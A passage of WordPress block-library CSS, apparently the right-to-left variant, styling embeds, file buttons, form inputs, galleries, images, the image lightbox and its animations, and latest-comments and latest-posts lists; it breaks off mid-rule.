.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}

.wp-block-file{
  box-sizing:border-box;
}
.wp-block-file:not(.wp-element-button){
  font-size:.8em;
}
.wp-block-file.aligncenter{
  text-align:center;
}
.wp-block-file.alignright{
  text-align:right;
}
.wp-block-file *+.wp-block-file__button{
  margin-right:.75em;
}

:where(.wp-block-file){
  margin-bottom:1.5em;
}

.wp-block-file__embed{
  margin-bottom:1em;
}

:where(.wp-block-file__button){
  border-radius:2em;
  display:inline-block;
  padding:.5em 1em;
}
:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{
  box-shadow:none;
  color:#fff;
  opacity:.85;
  text-decoration:none;
}

.wp-block-form-input__label{
  display:flex;
  flex-direction:column;
  gap:.25em;
  margin-bottom:.5em;
  width:100%;
}
.wp-block-form-input__label.is-label-inline{
  align-items:center;
  flex-direction:row;
  gap:.5em;
}
.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{
  margin-bottom:.5em;
}
.wp-block-form-input__label:has(input[type=checkbox]){
  flex-direction:row;
  width:fit-content;
}
.wp-block-form-input__label:has(input[type=checkbox]) .wp-block-form-input__label-content{
  margin:0;
}
.wp-block-form-input__label:has(.wp-block-form-input__label-content+input[type=checkbox]){
  flex-direction:row-reverse;
}

.wp-block-form-input__label-content{
  width:fit-content;
}

.wp-block-form-input__input{
  font-size:1em;
  margin-bottom:.5em;
  padding:0 .5em;
}
.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{
  border:1px solid;
  line-height:2;
  min-height:2em;
}

textarea.wp-block-form-input__input{
  min-height:10em;
}

.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 0 1em 1em;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-left:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-left:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-left:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-left:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-left:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-left:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-left:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-left:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-left:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  bottom:0;
  left:0;
  max-height:100%;
  position:absolute;
  right:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{
  -webkit-backdrop-filter:blur(3px);
          backdrop-filter:blur(3px);
  content:"";
  height:100%;
  -webkit-mask-image:linear-gradient(0deg, #000 20%, #0000);
          mask-image:linear-gradient(0deg, #000 20%, #0000);
  max-height:40%;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #0006, #0000);
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  margin:0;
  overflow:auto;
  padding:1em;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  text-shadow:0 0 1.5px #000;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
  text-shadow:none;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{
  content:none;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}

.wp-block-group{
  box-sizing:border-box;
}

:where(.wp-block-group.wp-block-group-is-layout-constrained){
  position:relative;
}

h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{
  padding:1.25em 2.375em;
}
h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){
  rotate:180deg;
}

.wp-block-image>a,.wp-block-image>figure>a{
  display:inline-block;
}
.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
@media not (prefers-reduced-motion){
  .wp-block-image img.hide{
    visibility:hidden;
  }
  .wp-block-image img.show{
    animation:show-content-image .4s;
  }
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{
  width:100%;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image.is-style-circle-mask img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}

:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){
  border-radius:9999px;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  left:16px;
  opacity:0;
  padding:0;
  position:absolute;
  text-align:center;
  top:16px;
  width:20px;
  z-index:100;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-container button{
    transition:opacity .2s ease;
  }
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  overflow:hidden;
  position:fixed;
  right:0;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  left:calc(env(safe-area-inset-left) + 16px);
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  overflow:hidden;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  transform-origin:top right;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:100% 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .wp-lightbox-overlay.active{
    animation:turn-on-visibility .25s both;
  }
  .wp-lightbox-overlay.active img{
    animation:turn-on-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active){
    animation:turn-off-visibility .35s both;
  }
  .wp-lightbox-overlay.show-closing-animation:not(.active) img{
    animation:turn-off-visibility .25s both;
  }
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes show-content-image{
  0%{
    visibility:hidden;
  }
  99%{
    visibility:hidden;
  }
  to{
    visibility:visible;
  }
}
@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}
ol.wp-block-latest-comments{
  box-sizing:border-box;
  margin-right:0;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){
  line-height:1.1;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){
  line-height:1.8;
}

.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){
  line-height:1.5;
}

.wp-block-latest-comments .wp-block-latest-comments{
  padding-right:0;
}

.wp-block-latest-comments__comment{
  list-style:none;
  margin-bottom:1em;
}
.has-avatars .wp-block-latest-comments__comment{
  list-style:none;
  min-height:2.25em;
}
.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{
  margin-right:3.25em;
}

.wp-block-latest-comments__comment-excerpt p{
  font-size:.875em;
  margin:.36em 0 1.4em;
}

.wp-block-latest-comments__comment-date{
  display:block;
  font-size:.75em;
}

.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  width:2.5em;
}

.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{
  font-size:inherit;
}

.wp-block-latest-posts{
  box-sizing:border-box;
}
.wp-block-latest-posts.alignleft{
  margin-right:2em;
}
.wp-block-latest-posts.alignright{
  margin-left:2em;
}
.wp-block-latest-posts.wp-block-latest-posts__list{
  list-style:none;
